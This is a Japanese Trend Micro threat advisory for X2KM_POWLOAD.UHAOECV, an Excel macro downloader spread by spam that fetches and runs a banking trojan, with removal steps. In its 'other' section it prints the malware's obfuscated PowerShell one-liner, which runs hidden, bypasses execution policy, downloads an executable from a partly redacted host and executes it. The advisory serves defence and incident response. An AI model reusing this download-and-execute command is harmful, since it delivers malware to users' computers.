Trend Micro Security

X2KM_POWLOAD.UHAOECV

2018年3月16日
 解析者: Byron Jon Gelera   

 別名:

VBA/TrojanDownloader.Agent.HFZ (ESET-NOD32)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: トロイの木馬型
  • 破壊活動の有無: なし
  • 暗号化: なし
  • 感染報告の有無: はい

  概要

感染経路 Eメールを介したスパム活動, 他のマルウェアからの作成

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。


  詳細

ファイルサイズ 58,880 bytes
タイプ XLS
メモリ常駐 なし
発見日 2018年3月15日
ペイロード URLまたはIPアドレスに接続, ファイルの実行

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ルートキット機能

マルウェアは、ルートキット機能を備えていません

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

  • http://{BLOCKED}rano.{BLOCKED}/fanspeed

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

  • %Desktop%\{Random numbers}.exe

(註:%Desktop%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\<ユーザ名>\Desktop"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\<ユーザ名>\Desktop" です。.)

トレンドマイクロの製品では、ダウンロードしたファイルを以下として検出します。

  • TSPY_BEBLOH.YMNOZ

マルウェアは、ダウンロードしたファイルを実行します。

その他

エクセルファイルを開封すると、以下の画面が表示され、マクロ機能を有効にするようユーザを誘導します。

マルウェアは、以下のPowershellコマンドを利用して不正なファイルをダウンロードし実行します。

"pOWErSheLl -nopRoFi -WIn hiDdeN -NOLo -NOnInteRA -eXeCUTIoNp bYpass "$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 33;${D`es} = $7d0mk6::gETfoLDERpATh(\"Desktop\");(&(\"{0}{1}{2}\" -f'Ne','w-','Object') (\"{0}{2}{1}{3}{5}{6}{4}\"-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\"http://{BLOCKED}irano.com/fanspeed\",\"$Des\{Random number}.exe\")}while(!${?});&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\{Random number}.exe"

マルウェアは、脆弱性を利用した感染活動を行いません。


  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 14.132.02
初回 VSAPI パターンリリース日 2018年3月16日
VSAPI OPR パターンバージョン 14.133.00
VSAPI OPR パターンリリース日 2018年3月17日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。  
  • %Desktop%\{Random numbers}.exe

手順 4

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「X2KM_POWLOAD.UHAOECV」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

手順 5

Microsoft Office 製品のマクロウイルス保護機能を有効にします。

[ 詳細 ]


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